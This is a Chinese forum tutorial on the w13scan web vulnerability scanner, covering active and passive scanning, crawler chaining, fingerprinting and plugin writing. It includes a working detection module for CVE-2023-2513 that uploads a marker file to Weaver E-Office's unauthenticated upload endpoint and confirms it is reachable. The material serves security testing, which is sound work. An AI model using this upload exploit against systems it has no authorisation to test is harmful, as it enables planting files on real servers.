ToB企服应用市场:ToB评测及商务社交产业平台

标题: W13SCAN的使用和扫描模块的编写 [打印本页]

作者: 一给    时间: 2023-9-28 16:38
标题: W13SCAN的使用和扫描模块的编写
简介

w13scan 是基于Python3的一款开源的Web漏洞发现工具,支持主动扫描模式和被动扫描模式,能运行在Windows、Linux、Mac上。
项目地址为:https://github.com/w-digital-scanner/w13scan
使用方法

主动扫描

w13scan不具备爬虫功能,只会在给定的url的上进行解析,然后调用所有的扫描插件进行扫描。
Python ./w13scan.py -u  --html

在扫描过程中会即时输出扫描到的漏洞信息,与此同时会将漏洞详情报告输出到
w13scan/W13SCAN/output/[日期]/[时间戳].json

Json格式的输出更有利于二次开发,w13scan也可以生成更易阅读的html报告。如果执行命令时使用--html选项,就会将html格式的报告输出到
w13scan/W13SCAN/output/[日期]/[时间戳].html

被动扫描

被动扫描是指在进行手动测试的过程中,代理将流量转发给漏洞扫描器,然后再进行漏洞检测。被动扫描不进行大规模的爬虫爬取行为,不主动爬取站点链接,而是通过流量、代理等方式去采集测试数据源。Burpsuite中使用Passive Scan Client插件将请求发送到被动扫描器中。

W13scan使用-s选项,指定被动扫描监听的端口:
python3 w13scan.py -s 127.0.0.1:7778 --html
然后在burpsuite中使用Passive Scan Client将流量发送到7778端口:

在浏览器中浏览渗透目标站点:

被动扫描+爬虫

w13scan没有爬虫功能,但被动扫描可以很好的与其他爬虫配合。将爬虫的流量代理到w13scan的被动扫描监听端口即可:

Crawlergo是一款go语言开发的开源爬虫,使用chrome headless模式进行URL收集的浏览器爬虫。它对整个网页的关键位置与DOM渲染阶段进行HOOK,自动进行表单填充并提交,配合智能的JS事件触发,尽可能的收集网站暴露出的入口。
将crawergo的爬取流量发送到w13scan代理中:
./crawlergo -c path/to/chomium -t 10 --request-proxy http://127.0.0.1:7777 [目标url]
效果如下:

扫描过程

对于给定的一个url,扫描器会先调用所有的指纹识别插件,尝试识别出目标使用的框架、操作系统、编程语言和中间件。然后将url按层次解析,对url中出现的文件、路径、域名分别调用扫描插件。
指纹识别

W13scan的指纹识别脚本位于fingerprints目录中:

以对java编程语言的识别脚本为例,位于w13scan/W13SCAN/fingerprints/programing/Java.py

W13scan会尝试在返回包的set-cookie中寻找JSESSIONID关键字,若存在则会认为目标web用java编写。若满足多个指纹可返回一个列表。
扫描插件


scanners目录为扫描插件库,每个目录的插件会处理不同情形
扩展扫描插件

W13scan扫描器内置了一些扫描插件:

增加对新漏洞的识别插件只需要在scanner文件夹下添加脚本。为了扩展新的扫描模块,我们可以观察一下scanner下正常的扫描模块文件长什么样子:
  1. #!/usr/bin/env python3
  2. # -*- coding: utf-8 -*-
  3. # @Time    : 2020/5/10 9:02 PM
  4. # @Author  : w8ay
  5. # @File    : backup_file.py
  6. import os
  7. import requests
  8. from lib.core.common import generateResponse
  9. from lib.core.enums import VulType, PLACE
  10. from lib.core.plugins import PluginBase
  11. class W13SCAN(PluginBase):
  12.     name = '基于文件的备份文件'
  13.     desc = '''扫描基于文件的备份文件'''
  14.     def _check(self, content):
  15.         """
  16.             根据给定的url,探测远程服务器上是存在该文件
  17.             文件头识别
  18.            * rar:526172211a0700cf9073
  19.            * zip:504b0304140000000800
  20.            * gz:1f8b080000000000000b,也包括'.sql.gz',取'1f8b0800' 作为keyword
  21.            * tar.gz: 1f8b0800
  22.            * mysqldump:                   -- MySQL dump:               2d2d204d7953514c
  23.            * phpMyAdmin:                  -- phpMyAdmin SQL Dump:      2d2d207068704d794164
  24.            * navicat:                     /* Navicat :                 2f2a0a204e617669636174
  25.            * Adminer:                     -- Adminer x.x.x MySQL dump: 2d2d2041646d696e6572
  26.            * Navicat MySQL Data Transfer: /* Navicat:                  2f2a0a4e617669636174
  27.            * 一种未知导出方式:               -- -------:                  2d2d202d2d2d2d2d2d2d
  28.             :param target_url:
  29.             :return:
  30.         """
  31.         features = [b'\x50\x4b\x03\x04', b'\x52\x61\x72\x21',
  32.                     b'\x2d\x2d\x20\x4d', b'\x2d\x2d\x20\x70\x68', b'\x2f\x2a\x0a\x20\x4e',
  33.                     b'\x2d\x2d\x20\x41\x64', b'\x2d\x2d\x20\x2d\x2d', b'\x2f\x2a\x0a\x4e\x61']
  34.         for i in features:
  35.             if content.startswith(i):
  36.                 return True
  37.         return False
  38.     def audit(self):
  39.         headers = self.requests.headers
  40.         url = self.requests.url
  41.         a, b = os.path.splitext(url)
  42.         if not b:
  43.             return
  44.         payloads = []
  45.         payloads.append(a + ".bak")
  46.         payloads.append(a + ".rar")
  47.         payloads.append(a + ".zip")
  48.         payloads.append(url + ".bak")
  49.         payloads.append(url + ".rar")
  50.         payloads.append(url + ".zip")
  51.         # http://xxxxx.com/index.php => index.php.bak index.bak index.rar
  52.         for payload in payloads:
  53.             r = requests.get(payload, headers=headers, allow_redirects=False)
  54.             if r.status_code == 200:
  55.                 try:
  56.                     content = r.raw.read(10)
  57.                 except:
  58.                     continue
  59.                 if self._check(content) or "application/octet-stream" in r.headers.get("Content-Type", ''):
  60.                     rarsize = int(r.headers.get('Content-Length', 0)) // 1024 // 1024
  61.                     result = self.new_result()
  62.                     result.init_info(self.requests.url, "备份文件下载", VulType.BRUTE_FORCE)
  63.                     result.add_detail("payload请求", r.reqinfo, content.decode(errors='ignores'),
  64.                                       "备份文件大小:{}M".format(rarsize), "", "", PLACE.GET)
  65.                     self.success(result)
复制代码
W13scan会调用脚本的audit函数,我们要做的就是修改auditor函数,将要做的扫描操作写在audit函数中,然后将扫描结果通过w13scan的init_info和add_detail方法返回。
这里我们将编写“cve-2023-2513泛微 E-Office 文件上传漏洞”的扫描模块,关于该漏洞的祥光细节,可以参考如下资料:
POC:
https://githubfast.com/RCEraser/cve/blob/main/Weaver.md
复现博客:
https://blog.csdn.net/qq_41904294/article/details/130832416
该漏洞检测分为两步,首先发送文件上传请求,然后发送请求检测上传文件是否成功。我们只需要复制一份backfile.py插件作为模板,修改audit函数,上面的POC写进audit中即可:

  1. import os
  2. import requests
  3. from lib.core.common import generateResponse
  4. from lib.core.enums import VulType, PLACE
  5. from lib.core.plugins import PluginBase
  6. from urllib.parse import urlparse
  7. class W13SCAN(PluginBase):
  8.     name = 'Weaver_E-Office_fileupload_2023-2513'
  9.     desc = '''cve-2023-2513   泛微 E-Office 文件上传漏洞'''
  10.     def audit(self):
  11.         headers = self.requests.headers
  12.         url = self.requests.url
  13.         headers['Accept'] = "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"
  14.         headers['Accept-Encoding'] = "gzip, deflate"
  15.         headers['User-Agent'] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0"
  16.         parsed_url = urlparse(url)
  17.         base_url = parsed_url.scheme +'://'+parsed_url.netloc
  18.         vuln_path = "/E-mobile/App/Ajax/ajax.php?action=mobile_upload_save"
  19.         vul_url = base_url + vuln_path
  20.         she = """hiword123"""
  21.         file = {"upload_quwan": ("abc.txt", she,"image/jpeg"),
  22.         "file":("","","application/octet-stream")}
  23.         resp1 = requests.post(url=vul_url, verify=False, allow_redirects=False, timeout=4, headers=headers, files=file,)
  24.         if resp1.status_code == 200:
  25.             try:
  26.                 content = resp1.raw.read()
  27.             except:
  28.                 pass
  29.             if "attachment" in resp1.text:
  30.                 file_id = resp1.text[1:-1].split(',')[2]
  31.                 file_name = resp1.text[1:-1].split(',')[3]
  32.                 file_path = resp1.text[1:-1].split(',')[1].replace('\\','').strip('"')
  33.                 file_url = base_url+'/'+'/'.join(file_path.split('/')[3:])
  34.                 # print(file_path.split('/')[3:])
  35.                 print(file_url)
  36.                 resp2 = requests.get(url=file_url, verify=False, allow_redirects=False, timeout=4, )
  37.                 # print(resp2.text)
  38.                 if she in resp2.text:
  39.            
  40.                     flag = True
  41.                     result = self.new_result()
  42.                     result.init_info(self.requests.url, "CVE-2023-2513 泛微OA E-Office 文件上传", VulType.CMD_INNJECTION)
  43.                     result.add_detail("payload请求", resp1.reqinfo, content.decode(errors='ignores'),
  44.                                       "上传点::{}".format(file_url), "", "", PLACE.POST)
  45.                     self.success(result)
复制代码
测试扩展的扫描插件

查看html漏洞报告


可以看到,w13scan的框架为我们做了很多工作,在init_info和add_detial中添加的信息会在扫描过程中在终端显示,也会生成精美的html报告。
API

w13scan下的api目录开放了一些函数,__all__中导出的函数对开发者开放性不高。作者仅提供了一个调用单独扫描插件的api函数scan,调用该函数可以用module_name指定扫描插件进行扫描:

调用scan进行扫描:


扫描结果也会生成html报告

参考资料

爬虫联动:
https://www.freebuf.com/sectool/252790.html
https://github.com/Qianlitp/crawlergo/
W13scan作者的博客:
https://x.hacking8.com/tag/w13scan
模块编写的相关资料:
https://zhuanlan.zhihu.com/p/334625348

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!




欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/) Powered by Discuz! X3.4